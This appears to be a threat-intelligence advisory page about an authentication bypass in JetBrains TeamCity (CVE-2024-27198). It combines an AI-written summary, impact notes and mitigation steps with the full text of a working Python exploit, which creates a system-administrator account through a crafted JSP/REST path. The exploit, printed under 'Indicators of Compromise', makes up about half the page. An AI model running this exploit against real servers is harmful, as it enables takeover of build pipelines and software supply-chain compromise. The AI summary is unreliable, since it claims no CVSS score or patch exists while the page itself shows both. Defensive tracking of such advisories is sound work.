JetBrains TeamCity 2023.11.4 - Authentication Bypass
JetBrains TeamCity 2023.11.4 - Authentication Bypass
AI Analysis
Technical Summary
The reported security threat concerns an authentication bypass vulnerability in JetBrains TeamCity version 2023.11.4. TeamCity is a widely used continuous integration and continuous deployment (CI/CD) server that automates software build, test, and deployment processes. An authentication bypass allows an attacker to circumvent the normal login mechanisms, gaining unauthorized access to the TeamCity server without valid credentials. This can lead to unauthorized manipulation of build configurations, injection of malicious code into software pipelines, or exposure of sensitive project data. The exploit code for this vulnerability is publicly available on Exploit-DB and is implemented in Python, which facilitates exploitation by attackers with moderate technical skills. Although no active exploitation in the wild has been reported, the availability of exploit code significantly raises the threat level. The lack of a CVSS score necessitates an independent severity assessment, which considers the criticality of the affected system, ease of exploitation, and potential impact. The vulnerability affects the confidentiality and integrity of software development processes, potentially impacting the availability of reliable build pipelines if attackers disrupt operations. No official patches or mitigations have been linked yet, emphasizing the need for immediate defensive actions by administrators.
Potential Impact
For European organizations, this vulnerability poses a significant risk to the integrity and confidentiality of their software development lifecycle. Unauthorized access to TeamCity servers can allow attackers to alter build scripts, insert malicious code into software releases, or exfiltrate sensitive intellectual property and credentials stored within the CI/CD environment. This can lead to compromised software supply chains, reputational damage, and regulatory compliance issues, especially under GDPR if personal data is indirectly affected. Disruption of automated build and deployment pipelines can also impact operational continuity. Organizations heavily reliant on TeamCity for critical development projects are at increased risk of intellectual property theft and sabotage. The medium severity rating provided by the source may underestimate the potential impact given the critical role of CI/CD infrastructure. European entities with stringent software integrity requirements, such as financial institutions and government agencies, could face heightened consequences from exploitation.
Mitigation Recommendations
1. Immediately restrict network access to TeamCity servers by implementing strict firewall rules and network segmentation to limit exposure to trusted internal users only. 2. Monitor authentication logs and access patterns for anomalies indicative of bypass attempts or unauthorized access. 3. Apply any official patches or updates from JetBrains as soon as they become available; maintain close monitoring of JetBrains security advisories. 4. Implement multi-factor authentication (MFA) on TeamCity access points where possible to add an additional layer of security. 5. Conduct a thorough security review of build configurations and scripts to detect unauthorized changes. 6. Consider deploying Web Application Firewalls (WAF) with custom rules to detect and block exploit attempts targeting the authentication mechanism. 7. Educate development and operations teams about the vulnerability and encourage vigilance for suspicious activity. 8. If patching is delayed, consider temporary mitigations such as disabling remote access or using VPNs with strong authentication to access TeamCity servers.
Affected Countries
Germany, France, United Kingdom, Netherlands, Sweden
Indicators of Compromise
- exploit-code: #!/usr/bin/env python3 # -*- coding: utf-8 -*- """ # Exploit Title: JetBrains TeamCity 2023.11.4 - Authentication Bypass # Date: 2024-02-21 # Exploit Author: ibrahimsql (https://github.com/ibrahimsql) # Vendor Homepage: https://www.jetbrains.com/teamcity/ # Version: < 2023.11.4 # CVE: CVE-2024-27198 # CVSS Score: 9.8 (Critical) # Description: # JetBrains TeamCity before version 2023.11.4 contains a critical authentication bypass # vulnerability that allows unauthenticated attackers to perform administrative actions. # The vulnerability leverages a path traversal-like technique in the JSP handling # mechanism combined with REST API endpoints to bypass authentication. # Requirements: requests>=2.25.1 """ import requests import argparse import sys import json from urllib.parse import urlparse requests.packages.urllib3.disable_warnings() class Colors: RED = '\033[91m' GREEN = '\033[92m' YELLOW = '\033[93m' BLUE = '\033[94m' CYAN = '\033[96m' BOLD = '\033[1m' END = '\033[0m' banner = f"""{Colors.CYAN} ████████╗███████╗ █████╗ ███╗ ███╗ ██████╗██╗████████╗██╗ ██╗ ╚══██╔══╝██╔════╝██╔══██╗████╗ ████║██╔════╝██║╚══██╔══╝╚██╗ ██╔╝ ██║ █████╗ ███████║██╔████╔██║██║ ██║ ██║ ╚████╔╝ ██║ ██╔══╝ ██╔══██║██║╚██╔╝██║██║ ██║ ██║ ╚██╔╝ ██║ ███████╗██║ ██║██║ ╚═╝ ██║╚██████╗██║ ██║ ██║ ╚═╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝ ╚═╝ {Colors.END} {Colors.BOLD}{Colors.RED} TeamCity Authentication Bypass (CVE-2024-27198){Colors.END} {Colors.YELLOW} Author: ibrahimsql{Colors.END} """ parser = argparse.ArgumentParser(description="TeamCity Authentication Bypass Exploit (CVE-2024-27198)") parser.add_argument("--url", type=str, required=True, help="Target TeamCity URL") parser.add_argument("--timeout", type=int, default=15, help="Request timeout (default: 15)") parser.add_argument("--verbose", "-v", action="store_true", help="Enable verbose output") args = parser.parse_args() class TeamCityExploit: def __init__(self, target_url, timeout=15, verbose=False): self.target_url = target_url.rstrip('/') self.timeout = timeout self.verbose = verbose self.session = requests.Session() def _log(self, message, level="info"): if level == "success": print(f"{Colors.GREEN}[+] {message}{Colors.END}") elif level == "error": print(f"{Colors.RED}[-] {message}{Colors.END}") elif level == "warning": print(f"{Colors.YELLOW}[!] {message}{Colors.END}") elif level == "info": print(f"{Colors.BLUE}[*] {message}{Colors.END}") elif level == "verbose" and self.verbose: print(f"[DEBUG] {message}") def check_target_reachability(self): try: self._log(f"Checking target: {self.target_url}") response = self.session.get(self.target_url, verify=False, timeout=self.timeout) if response.status_code in [200, 302, 401, 403]: self._log("Target is reachable", "success") return True else: self._log(f"Unexpected status: {response.status_code}", "error") return False except requests.exceptions.Timeout: self._log("Connection timeout", "error") return False except requests.exceptions.ConnectionError: self._log("Connection error", "error") return False except Exception as e: self._log(f"Error: {str(e)}", "error") return False def exploit_authentication_bypass(self): exploit_path = "/idontexist?jsp=/app/rest/users;.jsp" full_url = f"{self.target_url}{exploit_path}" self._log(f"Targeting: {full_url}") headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Accept": "application/json, text/plain, */*" } payload = { "username": "ibrahimsql", "password": "ibrahimsql", "email": "ibrahimsql@exploit.local", "roles": { "role": [{ "roleId": "SYSTEM_ADMIN", "scope": "g" }] } } self._log(f"Payload: {json.dumps(payload)}", "verbose") try: self._log("Attempting authentication bypass...") response = self.session.post(full_url, headers=headers, verify=False, json=payload, timeout=self.timeout) self._log(f"Status: {response.status_code}", "verbose") self._log(f"Response: {response.text[:200]}", "verbose") if response.status_code == 200: self._log("Exploit successful!", "success") print(f"\n{Colors.BOLD}{Colors.GREEN}[SUCCESS] Admin user created!{Colors.END}") print(f"{Colors.CYAN}{'='*50}{Colors.END}") print(f"{Colors.YELLOW}Username:{Colors.END} ibrahimsql") print(f"{Colors.YELLOW}Password:{Colors.END} ibrahimsql") print(f"{Colors.YELLOW}Login URL:{Colors.END} {self.target_url}/login.html") print(f"{Colors.CYAN}{'='*50}{Colors.END}") return True elif response.status_code == 401: self._log("Authentication required - target may be patched", "error") return False elif response.status_code == 404: self._log("Endpoint not found - target may be patched", "error") return False elif response.status_code == 403: self._log("Access forbidden", "error") return False else: self._log(f"Unexpected status: {response.status_code}", "error") return False except requests.exceptions.Timeout: self._log("Request timeout", "error") return False except requests.exceptions.ConnectionError: self._log("Connection error", "error") return False except Exception as e: self._log(f"Error: {str(e)}", "error") return False def validate_url(url): try: parsed = urlparse(url) if not parsed.scheme: url = f"http://{url}" parsed = urlparse(url) if parsed.scheme not in ['http', 'https']: raise ValueError("URL must use HTTP or HTTPS") if not parsed.netloc: raise ValueError("Invalid URL format") return url except Exception as e: raise ValueError(f"Invalid URL: {str(e)}") def main(): print(banner) try: target_url = validate_url(args.url) print(f"{Colors.BOLD}{Colors.CYAN}=== CVE-2024-27198 TeamCity Exploit ==={Colors.END}") print(f"{Colors.YELLOW}Author:{Colors.END} ibrahimsql") print(f"{Colors.YELLOW}Target:{Colors.END} {target_url}") print(f"{Colors.CYAN}{'='*45}{Colors.END}\n") exploit = TeamCityExploit(target_url=target_url, timeout=args.timeout, verbose=args.verbose) if not exploit.check_target_reachability(): exploit._log("Cannot reach target", "error") sys.exit(1) success = exploit.exploit_authentication_bypass() if success: exploit._log("Exploit completed!", "success") sys.exit(0) else: exploit._log("Exploit failed", "error") sys.exit(1) except ValueError as e: print(f"{Colors.RED}[-] {str(e)}{Colors.END}") sys.exit(1) except KeyboardInterrupt: print(f"\n{Colors.YELLOW}[!] Interrupted{Colors.END}") sys.exit(1) except Exception as e: print(f"{Colors.RED}[-] Error: {str(e)}{Colors.END}") sys.exit(1) if __name__ == "__main__": main()
JetBrains TeamCity 2023.11.4 - Authentication Bypass
Description
JetBrains TeamCity 2023.11.4 - Authentication Bypass
AI-Powered Analysis
Technical Analysis
The reported security threat concerns an authentication bypass vulnerability in JetBrains TeamCity version 2023.11.4. TeamCity is a widely used continuous integration and continuous deployment (CI/CD) server that automates software build, test, and deployment processes. An authentication bypass allows an attacker to circumvent the normal login mechanisms, gaining unauthorized access to the TeamCity server without valid credentials. This can lead to unauthorized manipulation of build configurations, injection of malicious code into software pipelines, or exposure of sensitive project data. The exploit code for this vulnerability is publicly available on Exploit-DB and is implemented in Python, which facilitates exploitation by attackers with moderate technical skills. Although no active exploitation in the wild has been reported, the availability of exploit code significantly raises the threat level. The lack of a CVSS score necessitates an independent severity assessment, which considers the criticality of the affected system, ease of exploitation, and potential impact. The vulnerability affects the confidentiality and integrity of software development processes, potentially impacting the availability of reliable build pipelines if attackers disrupt operations. No official patches or mitigations have been linked yet, emphasizing the need for immediate defensive actions by administrators.
Potential Impact
For European organizations, this vulnerability poses a significant risk to the integrity and confidentiality of their software development lifecycle. Unauthorized access to TeamCity servers can allow attackers to alter build scripts, insert malicious code into software releases, or exfiltrate sensitive intellectual property and credentials stored within the CI/CD environment. This can lead to compromised software supply chains, reputational damage, and regulatory compliance issues, especially under GDPR if personal data is indirectly affected. Disruption of automated build and deployment pipelines can also impact operational continuity. Organizations heavily reliant on TeamCity for critical development projects are at increased risk of intellectual property theft and sabotage. The medium severity rating provided by the source may underestimate the potential impact given the critical role of CI/CD infrastructure. European entities with stringent software integrity requirements, such as financial institutions and government agencies, could face heightened consequences from exploitation.
Mitigation Recommendations
1. Immediately restrict network access to TeamCity servers by implementing strict firewall rules and network segmentation to limit exposure to trusted internal users only. 2. Monitor authentication logs and access patterns for anomalies indicative of bypass attempts or unauthorized access. 3. Apply any official patches or updates from JetBrains as soon as they become available; maintain close monitoring of JetBrains security advisories. 4. Implement multi-factor authentication (MFA) on TeamCity access points where possible to add an additional layer of security. 5. Conduct a thorough security review of build configurations and scripts to detect unauthorized changes. 6. Consider deploying Web Application Firewalls (WAF) with custom rules to detect and block exploit attempts targeting the authentication mechanism. 7. Educate development and operations teams about the vulnerability and encourage vigilance for suspicious activity. 8. If patching is delayed, consider temporary mitigations such as disabling remote access or using VPNs with strong authentication to access TeamCity servers.
Affected Countries
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Technical Details
- Edb Id
- 52411
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for JetBrains TeamCity 2023.11.4 - Authentication Bypass
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ # Exploit Title: JetBrains TeamCity 2023.11.4 - Authentication Bypass # Date: 2024-02-21 # Exploit Author: ibrahimsql (https://github.com/ibrahimsql) # Vendor Homepage: https://www.jetbrains.com/teamcity/ # Version: < 2023.11.4 # CVE: CVE-2024-27198 # CVSS Score: 9.8 (Critical) # Description: # JetBrains TeamCity before version 2023.11.4 contains a critical authentication bypass # vulnerability that allows unauthenticated attackers to perform ad... (7722 more characters)
Threat ID: 689a95b8ad5a09ad002b095d
Added to database: 8/12/2025, 1:15:36 AM
Last enriched: 10/11/2025, 1:03:23 AM
Last updated: 10/17/2025, 8:45:51 PM
Views: 49
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